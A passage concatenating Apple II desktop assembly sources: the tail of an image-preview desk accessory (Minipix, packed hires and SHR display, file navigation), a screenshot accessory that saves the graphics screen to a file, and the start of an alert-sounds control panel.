inc hr_ptr+1
inc hr_ptr+1
dex
WHILE_NOT_ZERO
pla ; restore ptr
sta hr_ptr+1
iny ; next col
WHILE_Y_NE #kCols
pla ; A = row
clc
adc #4
WHILE_A_LT #kRows
clc ; success
rts
bitmap_table:
.byte %0000000,%0000000,%0000000,%0000000
.byte %0001000,%0010001,%0100010,%1000100
.byte %0010001,%0100010,%1000100,%0001000
.byte %0011001,%0110011,%1100110,%1001100
.byte %0100010,%1000100,%0001000,%0010001
.byte %0101010,%1010101,%0101010,%1010101
.byte %0110011,%1100110,%1001100,%0011001
.byte %0111011,%1110111,%1101110,%1011101
.byte %1000100,%0001000,%0010001,%0100010
.byte %1001100,%0011001,%0110011,%1100110
.byte %1010101,%0101010,%1010101,%0101010
.byte %1011101,%0111011,%1110111,%1101110
.byte %1100110,%1001100,%0011001,%0110011
.byte %1101110,%1011101,%0111011,%1110111
.byte %1110111,%1101110,%1011101,%0111011
.byte %1111111,%1111111,%1111111,%1111111
.endproc ; ShowDLRFile
ShowLRFile := ShowLRFileImpl::single
ShowDLRFile := ShowLRFileImpl::double
;;; ============================================================
;;; Minipix images
;;; Assert: Running from Main
;;; Source is in Main, destination is in Aux
.proc ConvertMinipixToBitmap
kRows = 52
kCols = 88 ; pixels
src := $06
dst := $08
srcbit := $0A
dstbit := $0B
row := $0C
;; Copy the writing code to the ZP
COPY_BYTES sizeof_PutBitProc, PutBitProc, z:PutBitProcTarget
copy16 #minipix_src_buf, src
copy16 #minipix_dst_buf, dst
;; c/o Kent Dickey on comp.sys.apple2.programmer
;; https://groups.google.com/d/msg/comp.sys.apple2.programmer/XB0jUEvrAhE/loRorS5fBwAJ
ldx #kRows
stx row
ldy #0 ; Y remains unchanged throughout
;; For each row...
dorow: ldx #8
stx srcbit
ldx #7
stx dstbit
ldx #kCols
;; Process each bit
DO
jsr GetBit
jsr PutBit2
dex
WHILE_NOT_ZERO
;; We've written out 88*2 bits = 176 bits. This means 1 bit was shifted into
;; the last bit. We need to get it from the MSB to the LSB, so it needs
;; to be shifted down 7 bits
DO
clc
jsr PutBit1
dex
WHILE_X_NE #AS_BYTE(-7) ; do 7 times == 7 bits
dec row
bne dorow
rts
.proc GetBit
lda (src),y
rol
sta (src),y
dec srcbit
bne done
inc16 src
copy8 #8, srcbit
done: rts
.endproc ; GetBit
PutBitProcTarget = $10
PROC_AT PutBitProc, $10
.proc PutBit2
php
jsr PutBit1
plp
FALL_THROUGH_TO PutBit1
.endproc ; PutBit2
.proc PutBit1
sta RAMRDON
sta RAMWRTON
lda (dst),y
ror
sta (dst),y
dec dstbit
bne done
ror ; shift once more to get bits in right place
sta (dst),y
inc16 dst
copy8 #7, dstbit
done:
sta RAMRDOFF
sta RAMWRTOFF
rts
.endproc ; PutBit1
END_PROC_AT
PutBit1 := PutBitProc::PutBit1
PutBit2 := PutBitProc::PutBit2
sizeof_PutBitProc = .sizeof(PutBitProc)
.endproc ; ConvertMinipixToBitmap
;;; ============================================================
;;; Color/B&W Toggle
color_mode_flag: .byte 0 ; bit7=0 = B&W, bit7=1 = color
.proc ToggleMode
bit color_mode_flag
bpl SetBWMode
FALL_THROUGH_TO SetColorMode
.endproc ; ToggleMode
.proc SetColorMode
bit color_mode_flag
IF_NC
SET_BIT7_FLAG color_mode_flag
jsr JUMP_TABLE_COLOR_MODE
END_IF
rts
.endproc ; SetColorMode
.proc SetBWMode
bit color_mode_flag
IF_NS
CLEAR_BIT7_FLAG color_mode_flag
jsr JUMP_TABLE_MONO_MODE
END_IF
rts
.endproc ; SetBWMode
;;; ============================================================
;;; Input: A,X = callback proc, called with:
;;; A = byte, Y = 0 on entry/exit
;;; Output: C=0 on success, C=1 on failure
.proc UnpackReadImpl
DEFINE_READWRITE_PARAMS read_buf_params, read_buf, 0
start:
stax write_proc
copy8 open_image_params::ref_num, read_buf_params::ref_num
;; Read next op/count byte
loop: copy8 #1, read_buf_params::request_count
JUMP_TABLE_MLI_CALL READ, read_buf_params
bcc body
;; EOF (or other error) - finish up
clc ; success
rts
;; Process op/count
body: lda read_buf
and #%00111111 ; count is low 6 bits + 1
sta count
inc count
lda read_buf
and #%11000000 ; operation is top 2 bits
bne not_00
;; --------------------------------------------------
;; %00...... = 1 to 64 bytes follow - all different
copy8 count, read_buf_params::request_count
JUMP_TABLE_MLI_CALL READ, read_buf_params
ldy #0
ldx #0
DO
lda read_buf,x
jsr Write
inx
WHILE_X_NE count
jmp loop
;; --------------------------------------------------
not_00: cmp #%01000000
bne not_01
;; --------------------------------------------------
;; %01...... = 3, 5, 6, or 7 repeats of next byte
copy8 #1, read_buf_params::request_count
JUMP_TABLE_MLI_CALL READ, read_buf_params
ldy #0
lda read_buf
DO
jsr Write
dec count
WHILE_NOT_ZERO
jmp loop
;; --------------------------------------------------
not_01: cmp #%10000000
bne not_10
;; --------------------------------------------------
;; %10...... = 1 to 64 repeats of next 4 bytes
copy8 #4, read_buf_params::request_count
JUMP_TABLE_MLI_CALL READ, read_buf_params
ldy #0
DO
lda read_buf+0
jsr Write
lda read_buf+1
jsr Write
lda read_buf+2
jsr Write
lda read_buf+3
jsr Write
dec count
WHILE_NOT_ZERO
jmp loop
;; --------------------------------------------------
not_10:
;; --------------------------------------------------
;; %11...... = 1 to 64 repeats of next byte taken as 4 bytes
copy8 #1, read_buf_params::request_count
JUMP_TABLE_MLI_CALL READ, read_buf_params
ldy #0
lda read_buf
DO
jsr Write
jsr Write
jsr Write
jsr Write
dec count
WHILE_NOT_ZERO
jmp loop
write_proc := *+1
Write: jmp SELF_MODIFIED
count: .byte 0
read_buf:
.res 64
.endproc ; UnpackReadImpl
UnpackRead := UnpackReadImpl::start
;;; ============================================================
;;; Unpack HR / DHR
;;; Output: C=0 on success, C=1 on failure
.proc ShowPackedHRDHRFileImpl
ptr := $06
;; N = is dhr?, V = is aux page?
ENTRY_POINTS_FOR_A dhr_file, $C0, hr_file, $00
sta dhr_flags
copy16 #hires, ptr
sta PAGE2OFF
param_call UnpackRead, Write
bit dhr_flags ; if hires, need to convert
IF_NC
jsr HRToDHR
END_IF
clc ; success
rts
;; --------------------------------------------------
;; Callback for each unique byte to write
;; A = byte
;; Y = 0 on entry/exit
.proc Write
;; ASSERT: Y=0
sta (ptr),y
inc ptr
RTS_IF_NOT_ZERO
pha
inc ptr+1
lda ptr+1
cmp #$40 ; did we hit page 2?
bne exit
copy8 #$20, ptr+1 ; yes, back to page 1
bit dhr_flags ; if DHR aux half, need to copy page to aux
bvc exit ; nope
copy8 #$80, dhr_flags
;; Save ptr, X, Y
lda ptr
pha
lda ptr+1
pha
txa
pha
tya
pha
jsr CopyHiresToAux
;; Restore ptr, X, Y
pla
tay
pla
tax
pla
sta ptr+1
pla
sta ptr
exit: pla
rts
.endproc ; Write
;; --------------------------------------------------
dhr_flags:
.byte 0 ; bit7 = is dhr, bit6 = is aux page
.endproc ; ShowPackedHRDHRFileImpl
ShowPackedHRFile := ShowPackedHRDHRFileImpl::hr_file
ShowPackedDHRFile := ShowPackedHRDHRFileImpl::dhr_file
;;; ============================================================
;;; Clear screen to black
.proc ClearScreen
ptr := $6
kHiresSize = $2000
sta PAGE2ON ; Clear aux
jsr clear
sta PAGE2OFF ; Clear main
FALL_THROUGH_TO clear
clear: copy16 #hires, ptr
lda #0 ; clear to black
ldx #>kHiresSize ; number of pages
ldy #0 ; pointer within page
DO
DO
sta (ptr),y
iny
WHILE_NOT_ZERO
inc ptr+1
dex
WHILE_NOT_ZERO
rts
done:
.endproc ; ClearScreen
;;; ============================================================
;;; Check suffix on `INVOKE_PATH` to see if it matches passed string
;;; Inputs: A,X = pointer to suffix (uppercase)
;;; Outputs: C=0 on match, C=1 otherwise
;;; Trashes $06
.proc CheckSuffix
ptr := $06
stax ptr
ldy #0
lda (ptr),y
tay
ldx INVOKE_PATH
DO
lda INVOKE_PATH,x
jsr ToUpperCase ; passed suffix is always uppercase
cmp (ptr),y
bne no ; different - not a match
dey
beq yes ; out of suffix - it's a match
dex
WHILE_NOT_ZERO
no: sec ; no match
rts
yes: clc ; match!
rts
.endproc ; CheckSuffix
;;; ============================================================
;;; Output: C=0 on success, C=1 on failure
.proc ShowSHRImpl
ENTRY_POINTS_FOR_BIT7_FLAG packed, unpacked, packed_flag
;; IIgs?
bit ROMIN2
sec
jsr IDROUTINE ; Clears carry if IIgs
bit LCBANK1
bit LCBANK1
bcc is_iigs
;; Not IIgs - just fail fast
sec ; failure
rts
;; --------------------------------------------------
is_iigs:
SHR_SCREEN = $E12000
kSHRSize = $8000
jsr InitSHR
bit packed_flag
IF_NS
jsr LoadPackedSHR
ELSE
jsr LoadUnpackedSHR
END_IF
copy16 #ExitSHR, exit_hook
clc ; success
rts
packed_flag: ; bit7
.byte 0
;; --------------------------------------------------
.proc InitSHR
.pushcpu
.p816
.a8
;; Disable shadowing
lda #%00111111
tsb SHADOW
;; Enable SHR
lda #%11000000
tsb NEWVIDEO
clc ; leave emulation mode
xce
;; Memory fill
copy8 #0, SHR_SCREEN ; initialize first byte
.a16
.i16
rep #$30 ; 16-bit accum/memory, index registers
phb ; save data bank
ldx #.loword(SHR_SCREEN)
ldy #.loword(SHR_SCREEN)+1
lda #kSHRSize - 2
mvn #^SHR_SCREEN, #^SHR_SCREEN
plb ; restore data bank
sec ; re-enter emulation mode
xce
.popcpu
rts
.endproc ; InitSHR
;; --------------------------------------------------
.proc LoadUnpackedSHR
;; Load $2000 bytes at a time, and copy them to
;; the SHR screen
copy8 #>.loword(SHR_SCREEN), dest+1
DO
;; Load data
JUMP_TABLE_MLI_CALL READ, read_image_params
;; Copy into SHR screen
.pushcpu
.p816
clc ; leave emulation mode
xce
;; Block move
.a16
.i16
rep #$30 ; 16-bit accum/memory, index registers
phb ; preserve data bank
ldx #hires ; source
dest := *+1 ; destination
ldy #.loword(SHR_SCREEN) ; high byte is self-modified
lda #kHiresSize-1 ; length-1
mvn #^hires, #^SHR_SCREEN
plb ; restore data bank
sec ; re-enter emulation mode
xce
.popcpu
lda dest+1
clc
adc #>kHiresSize
sta dest+1
WHILE_A_NE #>(SHR_SCREEN+kSHRSize)
rts
.endproc ; LoadUnpackedSHR
;; --------------------------------------------------
.proc LoadPackedSHR
copy24 #SHR_SCREEN, addr
param_jump UnpackRead, write
;; A = byte
;; Y = 0 on entry/exit
write:
;; Copy into SHR screen
.pushcpu
.p816
addr := *+1
sta $123456
inc24 addr
rts
.popcpu
.endproc ; LoadPackedSHR
;; --------------------------------------------------
.proc ExitSHR
.pushcpu
.p816
.a8
;; Re-enable shadowing
lda #%00111111
trb SHADOW
;; Disable SHR
lda #%11000000
trb NEWVIDEO
.popcpu
rts
.endproc ; ExitSHR
.endproc ; ShowSHRImpl
ShowPackedSHR := ShowSHRImpl::packed
ShowUnpackedSHR := ShowSHRImpl::unpacked
;;; ============================================================
;;; Inputs: A,X = `FileEntry`
;;; Output: C=1 if it's an image file we can preview, C=0 otherwise
;;; Trashes: $06
.proc IsImageFileEntry
;; Copy somewhere more convenient
ptr := $06
stax ptr
ldy #.sizeof(FileEntry)-1
DO
copy8 (ptr),y, entry,y
dey
WHILE_POS
;; TODO: Keep this logic in sync with DeskTop's
;; `ICT_RECORD` definitions for graphics files.
;; Check file suffixes
lda entry+FileEntry::storage_type_name_length
and #NAME_LENGTH_MASK
sta entry+FileEntry::storage_type_name_length
param_call check_suffix, str_a2fc_suffix
jcc yes
param_call check_suffix, str_a2fm_suffix
jcc yes
param_call check_suffix, str_a2lc_suffix
jcc yes
param_call check_suffix, str_a2hr_suffix
jcc yes
;; File type
lda entry+FileEntry::file_type
cmp #FT_GRAPHICS
jeq yes
IF_A_EQ #FT_PNT
ecmp16 entry+FileEntry::aux_type, #$0001
jeq yes
jmp no
END_IF
IF_A_EQ #FT_PIC
ecmp16 entry+FileEntry::aux_type, #$0000
jeq yes
jne no ; always
END_IF
cmp #FT_BINARY
jne no
;; Binary: Must match size/address
ecmp16 entry+FileEntry::blocks_used, #33 ; DHR
IF_EQ
ecmp16 entry+FileEntry::aux_type, #$2000
jeq yes
ecmp16 entry+FileEntry::aux_type, #$4000
jeq yes
END_IF
ecmp16 entry+FileEntry::blocks_used, #17 ; HR
IF_EQ
ecmp16 entry+FileEntry::aux_type, #$2000
beq yes
ecmp16 entry+FileEntry::aux_type, #$4000
beq yes
END_IF
ecmp16 entry+FileEntry::blocks_used, #3 ; MiniPix
IF_EQ
ecmp16 entry+FileEntry::aux_type, #$5800
beq yes
END_IF
ecmp16 entry+FileEntry::blocks_used, #3 ; LR
IF_EQ
ecmp16 entry+FileEntry::aux_type, #$400
beq yes
END_IF
ecmp16 entry+FileEntry::blocks_used, #5 ; DLR
IF_EQ
ecmp16 entry+FileEntry::aux_type, #$400
beq yes
END_IF
no: clc
rts
yes: sec
rts
;; --------------------------------------------------
;;; Input: A,X = suffix to check against `entry` (uppercase)
;;; Output: C=0 on match, C=1 otherwise
.proc check_suffix
ptr := $06
path := entry+FileEntry::storage_type_name_length
stax ptr
ldy #0
lda (ptr),y
tay
ldx path
DO
lda path,x
jsr ToUpperCase ; passed suffix is always uppercase
cmp (ptr),y
bne no ; different - not a match
dey
beq yes ; out of suffix - it's a match
dex
WHILE_NOT_ZERO
no: sec ; no match
rts
yes: clc ; match!
rts
.endproc ; check_suffix
;; --------------------------------------------------
entry: .tag FileEntry
.endproc ; IsImageFileEntry
;;; ============================================================
;;; Inputs: A,X = callback, invoked with A,X=`FileEntry`
;;; `dir_path` populated
;;; Note: Callbacks must not modify $08, but can use $06
.proc EnumerateDirectory
;;; Memory Map
io_buf := DA_IO_BUFFER ; $1C00-$1FFF
block_buf := DA_IO_BUFFER - BLOCK_SIZE ; $1A00-$1BFF
kEntriesPerBlock = $0D
stax callback
CLEAR_BIT7_FLAG saw_header_flag
;; Open directory
JUMP_TABLE_MLI_CALL OPEN, open_params
jcs exit
lda open_params::ref_num
sta read_params::ref_num
sta close_params::ref_num
next_block:
JUMP_TABLE_MLI_CALL READ, read_params
bcs close
copy8 #AS_BYTE(-1), entry_in_block
entry_ptr := $08
copy16 #(block_buf+4 - .sizeof(FileEntry)), entry_ptr
next_entry:
;; Advance to next entry
lda entry_in_block
cmp #kEntriesPerBlock
beq next_block
inc entry_in_block
add16_8 entry_ptr, #.sizeof(FileEntry)
;; Header?
bit saw_header_flag
IF_NC
SET_BIT7_FLAG saw_header_flag
bmi next_entry ; always
END_IF
;; Active entry?
ldy #FileEntry::storage_type_name_length
lda (entry_ptr),y
beq next_entry
;; Invoke callback
ldax entry_ptr
callback := *+1
jsr SELF_MODIFIED
jmp next_entry
close: php
JUMP_TABLE_MLI_CALL CLOSE, close_params
plp
exit:
rts
DEFINE_OPEN_PARAMS open_params, dir_path, io_buf
DEFINE_READWRITE_PARAMS read_params, block_buf, BLOCK_SIZE
DEFINE_CLOSE_PARAMS close_params
entry_in_block:
.byte 0
saw_header_flag: ; bit7
.byte 0
.endproc ; EnumerateDirectory
;;; ============================================================
.proc NextFile
lda #$80
bne ChangeFile ; always
.endproc ; NextFile
.proc LastFile
lda #$C0
bne ChangeFile ; always
.endproc ; LastFile
.proc PreviousFile
lda #$00
beq ChangeFile ; always
.endproc ; PreviousFile
.proc FirstFile
lda #$40
FALL_THROUGH_TO ChangeFile
.endproc ; FirstFile
;;; Input: A = flags, bit6 = modified, bit7 = advance
.proc ChangeFile
sta flags
;; Init state
lda #0
sta seen_flag
sta first_filename
sta last_filename
sta prev_filename
sta next_filename
;; Extract current path's dir
COPY_STRING INVOKE_PATH, dir_path
ldx dir_path
inx
DO
dex
lda dir_path,x
WHILE_A_NE #'/'
dex
stx dir_path
;; Copy current path's file
inx
ldy #0
DO
inx
iny
lda dir_path,x
jsr ToUpperCase
sta cur_filename,y
WHILE_X_NE INVOKE_PATH
sty cur_filename
param_call EnumerateDirectory, callback
;; `first_filename` and `last_filename` are now populated,
;; along with maybe `prev_filename` and `next_filename`.
;; Based on `flags`, pick the right file to show.
bit flags
IF_VS
IF_NS
ldax #last_filename
ELSE
ldax #first_filename
END_IF
ELSE_IF_NS
lda next_filename
IF_NOT_ZERO
ldax #next_filename
ELSE
ldax #first_filename
END_IF
ELSE
lda prev_filename
IF_NOT_ZERO
ldax #prev_filename
ELSE
ldax #last_filename
END_IF
END_IF
fnptr := $06
stax fnptr
;; Append filename to `dir_path`
ldy #0
lda (fnptr),y
beq fail ; in case something went wrong
sta len
ldx dir_path
inx
DO
inx
iny
copy8 (fnptr),y, dir_path,x
len := *+1
cpy #SELF_MODIFIED_BYTE
WHILE_NE
stx dir_path
COPY_STRING dir_path, INVOKE_PATH
fail: jmp Init
;;; Called with A,X = `FileEntry`
.proc callback
stax tmp
jsr IsImageFileEntry ; A,X = `FileEntry`
bcc ret
ptr := $06
ldax tmp
stax ptr
;; Always record this as the last one seen
ldy #0
lda (ptr),y
and #NAME_LENGTH_MASK
sta (ptr),y
tay
DO
lda (ptr),y
jsr ToUpperCase
sta last_filename,y
dey
WHILE_POS
;; First seen? might need it
lda first_filename
IF_ZERO
COPY_STRING last_filename, first_filename
END_IF
;; Is this the current file?
ldx cur_filename
cpx last_filename
bne not_cur
DO
lda cur_filename,x
cmp last_filename,x
bne not_cur
dex
WHILE_NOT_ZERO
SET_BIT7_FLAG seen_flag
rts
not_cur:
;; No, might be prev or next though
;; Seen the current file yet? If not, save it as previous
bit seen_flag
IF_NC
COPY_STRING last_filename, prev_filename
rts
END_IF
;; Yes... have we seen one after it? If not, save it as next
lda next_filename
IF_ZERO
COPY_STRING last_filename, next_filename
END_IF
ret: rts
tmp: .addr 0
.endproc ; callback
flags: ; bit 6 = modified, bit 7 = advance
.byte 0
seen_flag: ; bit7
.byte 0
cur_filename:
.res 16
first_filename:
.res 16
prev_filename:
.res 16
next_filename:
.res 16
last_filename:
.res 16
.endproc ; ChangeFile
;;; ============================================================
str_a2fc_suffix:
PASCAL_STRING ".A2FC"
str_a2fm_suffix:
PASCAL_STRING ".A2FM"
str_a2lc_suffix:
PASCAL_STRING ".A2LC"
str_a2hr_suffix:
PASCAL_STRING ".A2HR"
;;; ============================================================
.include "../lib/uppercase.s"
.include "../inc/hires_table.inc"
.include "inc/hr_to_dhr.inc"
.proc LZ4FH
.include "../lib/lz4fh6502.s"
.endproc ; LZ4FH
;;; ============================================================
.assert * < minipix_src_buf, error, "buffer collision!"
.assert * < lores_src_buf, error, "buffer collision!"
;;; ============================================================
DA_END_MAIN_SEGMENT
;;; ============================================================
|
a2stuff/a2d
| 3,302
|
src/desk.acc/screenshot.s
|
;;; ============================================================
;;; SCREENSHOT - Desk Accessory
;;;
;;; Saves the contents of the graphics screen to a file.
;;; ============================================================
.include "../config.inc"
.include "apple2.inc"
.include "../inc/apple2.inc"
.include "../inc/macros.inc"
.include "../inc/prodos.inc"
.include "../mgtk/mgtk.inc"
.include "../common.inc"
.include "../desktop/desktop.inc"
;;; ============================================================
DA_HEADER
DA_START_MAIN_SEGMENT
;;; ============================================================
jmp start
;;; ============================================================
kBlockSize = $200
BLOCK_BUFFER := DA_IO_BUFFER - kBlockSize
.assert .lobyte(BLOCK_BUFFER) = 0, error, "page align"
DEFINE_CREATE_PARAMS create_params, filename, ACCESS_DEFAULT, FT_GRAPHICS, $2000
DEFINE_OPEN_PARAMS open_params, filename, DA_IO_BUFFER
DEFINE_READWRITE_PARAMS write_block_params, BLOCK_BUFFER, kBlockSize
DEFINE_READWRITE_PARAMS write_screen_params, $2000, $2000
DEFINE_CLOSE_PARAMS close_params
filename:
PASCAL_STRING "Screenshot"
;;; ============================================================
start: JUMP_TABLE_MGTK_CALL MGTK::HideCursor
jsr JUMP_TABLE_HILITE_MENU
JUMP_TABLE_MLI_CALL CREATE, create_params
IF_CS
cmp #ERR_DUPLICATE_FILENAME
bne done
END_IF
JUMP_TABLE_MLI_CALL OPEN, open_params
bcs done
lda open_params::ref_num
sta write_block_params::ref_num
sta write_screen_params::ref_num
sta close_params::ref_num
;; ----------------------------------------
;; Aux Segment
;; Mark Graphics file as "560 x 192 Black & White"
;; See File Type Note $08
sta SET80STORE
sta PAGE2ON
lda #2
sta $2000+$78
sta PAGE2OFF
sta CLR80STORE
;; Can't write it with 80STORE on since banking not guaranteed
;; during ProDOS I/O (e.g. aux RAM disks), so do it block by
;; block.
ptr := $06
copy16 #$2000, ptr
ldy #$00
DO
sta SET80STORE
sta PAGE2ON
DO
lda (ptr),y
sta BLOCK_BUFFER,y
iny
WHILE_NOT_ZERO
inc ptr+1
DO
lda (ptr),y
sta BLOCK_BUFFER+$100,y
iny
WHILE_NOT_ZERO
inc ptr+1
sta PAGE2OFF
sta CLR80STORE
JUMP_TABLE_MLI_CALL WRITE, write_block_params
lda ptr+1
WHILE_A_NE #$40
;; ----------------------------------------
;; Write main segment
;; Just write directly
JUMP_TABLE_MLI_CALL WRITE, write_screen_params
close: JUMP_TABLE_MLI_CALL CLOSE, close_params
done: jsr JUMP_TABLE_HILITE_MENU
JUMP_TABLE_MGTK_CALL MGTK::ShowCursor
rts
;;; ============================================================
DA_END_MAIN_SEGMENT
;;; ============================================================
|
a2stuff/a2d
| 41,114
|
src/desk.acc/sounds.s
|
;;; ============================================================
;;; SOUNDS - Desk Accessory
;;;
;;; A control panel offering selecting different alert sounds.
;;; ============================================================
.include "../config.inc"
RESOURCE_FILE "sounds.res"
.include "apple2.inc"
.include "opcodes.inc"
.include "../inc/apple2.inc"
.include "../inc/macros.inc"
.include "../inc/prodos.inc"
.include "../mgtk/mgtk.inc"
.include "../toolkits/btk.inc"
.include "../toolkits/lbtk.inc"
.include "../lib/alert_dialog.inc"
.include "../common.inc"
.include "../desktop/desktop.inc"
;;; ============================================================
;;; Memory map
;;;
;;; Main Aux
;;; : : : :
;;; | | | |
;;; | DHR | | DHR |
;;; $2000 +-------------+ +-------------+
;;; | IO Buffer | | |
;;; $1C00 +-------------+ | |
;;; | write_buffer| | |
;;; | | | |
;;; | | | |
;;; | | | |
;;; | | | |
;;; | | | |
;;; | | | |
;;; | stub & save | | GUI code & |
;;; | settings | | resource |
;;; $800 +-------------+ +-------------+
;;; : : : :
;;;
;;; ============================================================
DA_HEADER
DA_START_AUX_SEGMENT
;;; ============================================================
.proc AuxEntry
jsr Init
lda dialog_result
rts
.endproc ; AuxEntry
;;; High bit set when anything changes.
dialog_result:
.byte 0
.proc MarkDirty
lda #$80
ora dialog_result
sta dialog_result
rts
.endproc ; MarkDirty
;;; Cancel any changes, restore saved proc
.proc DoCancel
copy8 #$00, dialog_result
lda original_index
jsr InstallIndex
jmp Exit
.endproc ; DoCancel
;;; ============================================================
;;; Resources
;;; ============================================================
kDAWindowId = $80
kDAWidth = 300
kDAHeight = 100
kDALeft = (kScreenWidth - kDAWidth)/2
kDATop = (kScreenHeight - kMenuBarHeight - kDAHeight)/2 + kMenuBarHeight
str_title:
PASCAL_STRING res_string_window_title
pensize_normal: .byte 1, 1
pensize_frame: .byte kBorderDX, kBorderDY
penXOR: .byte MGTK::penXOR
pencopy: .byte MGTK::pencopy
notpencopy: .byte MGTK::notpencopy
.params winfo
window_id: .byte kDAWindowId
options: .byte MGTK::Option::dialog_box
title: .addr str_title
hscroll: .byte MGTK::Scroll::option_none
vscroll: .byte MGTK::Scroll::option_none
hthumbmax: .byte 32
hthumbpos: .byte 0
vthumbmax: .byte 32
vthumbpos: .byte 0
status: .byte 0
reserved: .byte 0
mincontwidth: .word kDAWidth
mincontheight: .word kDAHeight
maxcontwidth: .word kDAWidth
maxcontheight: .word kDAHeight
port:
DEFINE_POINT viewloc, kDALeft, kDATop
mapbits: .addr MGTK::screen_mapbits
mapwidth: .byte MGTK::screen_mapwidth
reserved2: .byte 0
DEFINE_RECT maprect, 0, 0, kDAWidth, kDAHeight
pattern: .res 8, $FF
colormasks: .byte MGTK::colormask_and, MGTK::colormask_or
DEFINE_POINT penloc, 0, 0
penwidth: .byte 1
penheight: .byte 1
penmode: .byte MGTK::pencopy
textback: .byte MGTK::textbg_white
textfont: .addr DEFAULT_FONT
nextwinfo: .addr 0
REF_WINFO_MEMBERS
.endparams
DEFINE_RECT_FRAME frame_rect, kDAWidth, kDAHeight
;;; ============================================================
kMarginX = 18
kMarginY = 10
kTextHeight = kSystemFontHeight
DEFINE_BUTTON ok_button, kDAWindowId, res_string_button_ok, kGlyphReturn, kDAWidth - kMarginX - kButtonWidth, kDAHeight - kMarginY - kButtonHeight
DEFINE_BUTTON cancel_button, kDAWindowId, res_string_button_cancel, res_string_button_cancel_shortcut, kMarginX, kDAHeight - kMarginY - kButtonHeight
DEFINE_LABEL alert_sound, res_string_label_alert, kMarginX, kMarginY+kTextHeight
kLabelWidth = 105
kScrollBarWidth = 20
kListRows = 6
kListLeft = kMarginX + kLabelWidth
kListTop = kMarginY
kListRight = kDAWidth - kMarginX - kScrollBarWidth
kListHeight = kListItemHeight * kListRows - 1
kListBottom = kListTop + kListHeight
DEFINE_RECT listbox_rect, kListLeft, kListTop, kListRight, kListBottom
;;; ============================================================
;;; List Box
;;; ============================================================
kListBoxWindowId = kDAWindowId + 1
DEFINE_LIST_BOX_WINFO winfo_listbox, \
kListBoxWindowId, \
kListLeft + kDALeft, \
kListTop + kDATop, \
kListRight - kListLeft, \
kListHeight, \
DEFAULT_FONT
DEFINE_LIST_BOX listbox_rec, winfo_listbox, \
kListRows, kNumSounds, \
DrawListEntryProc, OnListSelectionChange, OnListSelectionChange
DEFINE_LIST_BOX_PARAMS lb_params, listbox_rec
;;; ============================================================
str_buzz: PASCAL_STRING res_string_name_prodos_buzz
str_bonk: PASCAL_STRING res_string_name_iigs_bonk
str_bell: PASCAL_STRING res_string_name_control_g_bell
str_silent: PASCAL_STRING res_string_name_silent
str_awbeep: PASCAL_STRING res_string_name_apple_writer_ii
str_dazzledraw: PASCAL_STRING res_string_name_dazzle_draw
str_koala: PASCAL_STRING res_string_name_koala_illustrator
str_816paint: PASCAL_STRING res_string_name_816_paint
str_panic1: PASCAL_STRING res_string_name_apple_panic_1
str_panic2: PASCAL_STRING res_string_name_apple_panic_2
str_bombdrop: PASCAL_STRING res_string_name_bombdrop
str_detonate: PASCAL_STRING res_string_name_detonate
str_gorgon: PASCAL_STRING res_string_name_gorgon
str_versiontel: PASCAL_STRING res_string_name_versiontel
str_aal_swoop: PASCAL_STRING res_string_name_assembly_line_swoop
str_aal_blast: PASCAL_STRING res_string_name_assembly_line_laser
str_aal_bell: PASCAL_STRING res_string_name_assembly_line_bell
str_aal_klaxon: PASCAL_STRING res_string_name_assembly_line_klaxon
str_obn_whopi: PASCAL_STRING res_string_name_obnoxious_whopidoop
str_obn_phasor: PASCAL_STRING res_string_name_obnoxious_phasor
str_obn_gleep: PASCAL_STRING res_string_name_obnoxious_gleep
kNumSounds = 21
name_table:
.addr str_buzz, str_bonk, str_bell, str_silent, str_awbeep
.addr str_dazzledraw, str_koala, str_816paint, str_panic1
.addr str_panic2, str_bombdrop, str_detonate, str_gorgon
.addr str_versiontel, str_aal_swoop, str_aal_blast
.addr str_aal_bell, str_aal_klaxon, str_obn_whopi
.addr str_obn_phasor, str_obn_gleep
ASSERT_ADDRESS_TABLE_SIZE name_table, kNumSounds
proc_table:
.addr Buzz, Bonk, ClassicBeep, Silent, AwBeep, DazzleDraw
.addr Koala, Paint816, Panic1, Panic2, Bombdrop, Detonate, Gorgon
.addr VersionTel, AALLaserSwoop, AALLaserBlast, AALSCBell
.addr AALKlaxon, OBNWhopi, OBNPhasor, OBNGleep
ASSERT_ADDRESS_TABLE_SIZE proc_table, kNumSounds
original_index:
.byte $FF
;;; ============================================================
.include "../lib/event_params.s"
.params getwinport_params
window_id: .byte kDAWindowId
port: .addr grafport_win
.endparams
grafport_win: .tag MGTK::GrafPort
;;; ============================================================
;;; Dialog Logic
;;; ============================================================
.proc Init
MGTK_CALL MGTK::OpenWindow, winfo
jsr DrawWindow
MGTK_CALL MGTK::OpenWindow, winfo_listbox
LBTK_CALL LBTK::Init, lb_params
jsr SearchForCurrent
; keep it around in case we want to cancel
sta original_index
sta lb_params::new_selection
LBTK_CALL LBTK::SetSelection, lb_params
MGTK_CALL MGTK::FlushEvents
FALL_THROUGH_TO InputLoop
.endproc ; Init
.proc InputLoop
JSR_TO_MAIN JUMP_TABLE_SYSTEM_TASK
MGTK_CALL MGTK::GetEvent, event_params
lda event_params::kind
cmp #MGTK::EventKind::button_down
jeq HandleDown
cmp #MGTK::EventKind::key_down
beq HandleKey
jmp InputLoop
.endproc ; InputLoop
.proc Exit
MGTK_CALL MGTK::CloseWindow, winfo_listbox
MGTK_CALL MGTK::CloseWindow, winfo
JSR_TO_MAIN JUMP_TABLE_CLEAR_UPDATES
rts
.endproc ; Exit
;;; ============================================================
.proc HandleKey
lda event_params::key
ldx event_params::modifiers
IF_A_EQ_ONE_OF #CHAR_UP, #CHAR_DOWN
sta lb_params::key
stx lb_params::modifiers
LBTK_CALL LBTK::Key, lb_params
jmp InputLoop
END_IF
IF_X_NE #0
jsr ToUpperCase
cmp #kShortcutCloseWindow
jeq Exit
jmp InputLoop
END_IF
IF_A_EQ #CHAR_ESCAPE
BTK_CALL BTK::Flash, cancel_button
jmp DoCancel
END_IF
IF_A_EQ #CHAR_RETURN
BTK_CALL BTK::Flash, ok_button
jmp Exit
END_IF
jmp InputLoop
.endproc ; HandleKey
;;; ============================================================
.proc HandleDown
MGTK_CALL MGTK::FindWindow, findwindow_params
lda findwindow_params::window_id
IF_A_EQ winfo::window_id
lda findwindow_params::which_area
cmp #MGTK::Area::content
beq HandleDialogClick
jmp InputLoop
END_IF
IF_A_EQ winfo_listbox::window_id
lda findwindow_params::which_area
IF_A_EQ #MGTK::Area::content
COPY_STRUCT event_params::coords, lb_params::coords
LBTK_CALL LBTK::Click, lb_params
